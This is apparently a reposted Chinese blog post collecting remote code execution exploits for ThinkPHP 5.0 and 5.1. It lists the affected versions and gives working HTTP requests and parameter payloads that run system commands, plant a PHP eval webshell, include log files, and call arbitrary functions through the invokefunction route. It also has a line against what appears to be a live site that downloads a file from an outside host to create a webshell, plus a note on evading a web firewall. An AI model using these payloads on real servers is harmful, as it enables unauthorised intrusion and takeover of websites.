thinkphp5.x系列 RCE总结

最新推荐文章于 2025-02-10 20:25:15 发布

转载最新推荐文章于 2025-02-10 20:25:15 发布 · 2.9k 阅读

1 ·

CC 4.0 BY-SA版权

原文链接：http://www.cnblogs.com/0xdd/p/10848746.html

文章标签：

#php #操作系统 #runtime

本文详细解析了ThinkPHP框架中两种常见的远程代码执行(RCE)漏洞，包括Request变量覆盖导致的RCE及路由控制不严谨引起的RCE。针对不同版本，提供了具体的攻击条件和payload，同时涉及了5.0.0至5.0.23及5.1.31以下版本的漏洞利用方式。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Thinkphp MVC开发模式

执行流程：

首先发起请求->开始路由检测->获取pathinfo信息->路由匹配->开始路由解析->获得模块、控制器、操作方法调度信息->开始路由调度->解析模块和类名->组建命名空间>查找并加载类->实例化控制器并调用操作方法->构建响应对象->响应输出->日志保存->程序运行结束

漏洞原因：路由控制不严谨，默认不开启强制路由，从而可以任意调用Thinkphp的类库

主要有俩种方法，1.Request中的变量覆盖导致RCE 2.路由控制不严谨导致的RCE

1.Request中的变量覆盖导致RCE

版本名是否可被攻击攻击条件
5.0.0 否无
5.0.1 否无
5.0.2 否无
5.0.3 否无
5.0.4 否无
5.0.5 否无
5.0.6 否无
5.0.7 否无
5.0.8 是无需开启debug
5.0.9 是无需开启debug
5.0.10 是无需开启debug
5.0.11 是无需开启debug
5.0.12 是无需开启debug
5.0.13 是需开启debug
5.0.14 是需开启debug
5.0.15 是需开启debug
5.0.16 是需开启debug
5.0.17 是需开启debug
5.0.18 是需开启debug
5.0.19 是需开启debug
5.0.20 否无
5.0.21 是需开启debug
5.0.22 是需开启debug
5.0.23 是需开启debug

5.0.0-5.0.12
payload：

POST /tp5010/public/index.php?s=index/index/index HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded

s=whoami&_method=__construct&filter[]=system

5.1版本，需设置error_reporting(0);

POST /tp5132/public/index.php HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Cookie: XDEBUG_SESSION=PHPSTORM
Content-Length: 28

c=system&f=id&_method=filter
利用文件包含

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
利用其他变量传参

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

2.路由控制不严谨导致的RCE

v5.0.23及v5.1.31以下版本

index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

https://xz.aliyun.com/t/3570 thinkphp win 和linux 的区别

https://www.butian.net/4e5e5d7364f443e28fbf0d3ae744a59a
thinkphp 3 指纹识别 4e5e5d7364f443e28fbf0d3ae744a59a GET

绕宝塔 -主要还是函数和正则上的绕过
http://yishangtv.com/index.php?s=&Fuck=copy(%22http://www.letv.cloud/ad.txt%22,%22test.php%22)
_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod

还有一种思路利用\think\ 类库的方法
做文件包含，把马内容写到log

关于第一种方法，在基于tp5开发的cms 复现

mipcms 最新版本。debug 需要打开

url ： http://127.0.0.1/ms/?s=index

payload：

c=assert&f=phpinfo()&_method=filter